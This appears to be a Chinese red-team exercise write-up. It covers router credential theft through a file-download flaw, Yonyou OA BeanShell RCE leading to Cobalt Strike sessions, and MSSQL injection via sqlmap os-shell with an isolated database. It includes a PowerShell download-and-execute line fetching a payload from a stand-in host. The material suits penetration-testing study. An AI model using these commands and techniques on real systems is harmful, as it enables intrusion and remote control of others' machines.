前陣子去打了個小 hw，遇到了一些東西，隨手記一下。
1、路由器安全#
廣撒網搜集資訊的時候發現目標網段存在一個路由器登錄介面
這種路由器版本一般是家用的，很少有企業會用，但是這個網段又是商業網段不可能有居民用戶。所以推測這個可能是操作不規範意外暴露的東西，於是在本地漏洞庫搜索了一下找到了一個任意文件下載。下載其配置文件，獲得帳戶密碼。
進入控制台後發現有隧道代理功能。
鼓捣了半天才搞懂這東西怎麼用。配置客戶端連接即可。服務端是用來類似於多個同品牌路由器組網用的。IPSec 是種加密方式，不使用也是可以的。
最後使用了 pptp+win7 系統才概率情況下連接成功。win11 和 mac 都不能正常連接（kali 也會異常）。連接完成後就等於進入了目標內網，後續不再贅述......
2、用友 bash#
1、beanshell 利用#
目標網段發現目標企業的 OA 系統為用友，並且存在 Beanshell rce
然而剛開始發現默認 beanshell 目錄頁面存在，但是無法執行任何命令。遂細查該漏洞的具體分析，發現在其他目錄（模塊）下也存在該漏洞，於是找了一份字典跑路徑，從中挑選質量最佳的進行後續操作。 字典鏈接
2、異常掉線#
成功正常訪問 bs rce 頁面後進行反彈 shell 操作。因為當前算是非交互 shell，所以很多操作受限，該機器內也缺少各種環境存在各種問題，最後只能選擇使用 powershell 上線 cs。這裡又出現了問題。每次執行 cs 生成的 payload 以後會提示上線，但是只要超過 60s 依然會掉線。
這是因為 cs 默認會話是 60s 超時沒有心跳就會判定為會話終斷。那為什麼好好的會話會中斷呢。本質上來說我們執行命令用的 “載體” 是 web 服務。而 web 會話是非持久的，網頁加載完成即該會話結束。而我們反彈 shell 的操作也是依託於 web，因此當網頁 shell 執行完畢（網頁執行完畢），會話中斷進程銷毀，自然 CS 會話就掉了。而 CS sleep 60s 又容易讓人誤以為會話存活了 60s。
最終方法：依舊是使用 powershell，這次修改邏輯。改為下載並執行命令
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://xxx.com/shell')"
這個時候程序運行的邏輯就是：先下載，然後單獨再起一個 powershell 去執行內容
當網頁會話結束，系統只會銷毀下載進程。單獨再起的那個依然保持駐留，cs 會話成功存活。
3、mssql 注入不出網站庫分離#
目標公眾號某功能存在 Mssql SQLi
sqlmap 很順利直接成功梭哈到 os-shell。然而反彈 shell 的時候發現不出網，DNS 也不出。繼而想寫一個 webshell 代理進去後續操作，然而翻遍了系統並未找到對應目錄。推測是站庫分離，寫 webshell 計劃落空。
Sqlmap os-shell 小 trick
*1、遇到含空格的目錄可以用雙引號包裹 例如 cd "C:\Program Files" 有些目錄dir存在，但是cd說不存在。那麼可能時因為哪裡包含了空格*
*2、遇到中文目錄時sqlmap會無法cd進去，這是因為sqlmap和windows cmd的默認編碼不一致導致的。sqlmap utf-8而目標cmd為gbk。這種情況可以通過bp抓包中轉修改編碼。（不過太麻煩了）*
*3、win下用os-shell寫入大量內容時剪切板中的內容需要一個個字符渲染到你自己的終端框中，極其浪費時間，並且會佔用大量系統資源。我選擇用配合使用超級注入工具GUI界面進行寫入，節省大量時間和資源（也會產生卡頓，但比終端框好太多了）*
*4、使用echo等各種命令輸出內容寫文件會有8K限制，一次只能寫入8K大小的數據，市面上大多數工具使用的寫入方法均受此影響*
站庫分離又不出網，這種情況真沒遇到過，於是請教了好基友 @海鷗 i
大佬推薦我看他寫的文章
關於站庫分離數據庫不出網落地 Exe 方式探究 - Mssql
關於站庫分離數據庫不出網落地 Exe 方式探究 - Mysql
用以上某種方式寫入 fscan 之類的東西，然後所有結果都輸出到一個文本，然後再通過讀文本獲取信息。直到橫向到一個出網主機即可解脫。最後決定使用 Bcp 進行寫文件，但是由於需要動到數據庫，我認為操作比較敏感而且後續麻煩浪費時間，遂放棄深入該目標。
4、powershell 編碼#
在某目標使用 powershell 執行時發現引號斜杠之類的會影響程序正常運行導致最終傳輸失敗。所以想用 b64 編碼以後傳，然後再解碼。CS 的 powershell command 就是這樣操作的。於是隨意使用了一個工具進行編碼，結果發現 shell 命令不能正常運行。查資料以後才知道 powershell 的 base64 和平時我們使用的 base64 略有區別，不能直接通用。於是 github 找了一個轉換腳本解決
5、中靶虛擬機 -- 網絡架構#
目標網段內存在一 idc 主頁，拿下官網後發現該機器無內網 IP，網關也是一個公網 IP 。ping 172/192 段未發現存活，禁 ping 探測終於發現幾個 192 機器，但只有 25/110 端口開放，很不正常。
經其他師傅提示可能是個虛擬機，放大內網網段探測範圍，發現多個 10 段，但所有存活均為路由器。繼續深入的話可能只有虛擬機逃逸，但難度太大又消耗時間。
繼續回過頭看官網系統，配置文件中發現數據庫服務器、redis 服務器、ros 服務器帳戶密碼及 IP，但數據庫和 redis 都存在訪問白名單，只有 ros 服務器可以訪問。但是不知道這個所謂的 ros 服務器是個什麼東西。於是百度學習，最後發現是個路由器，並且找到一個連接工具 鏈接
大概連上去是這樣的，沒有太大價值。 總結：如果不是時間太多，遇到這種 idc 的架構建議先放一邊，日後再說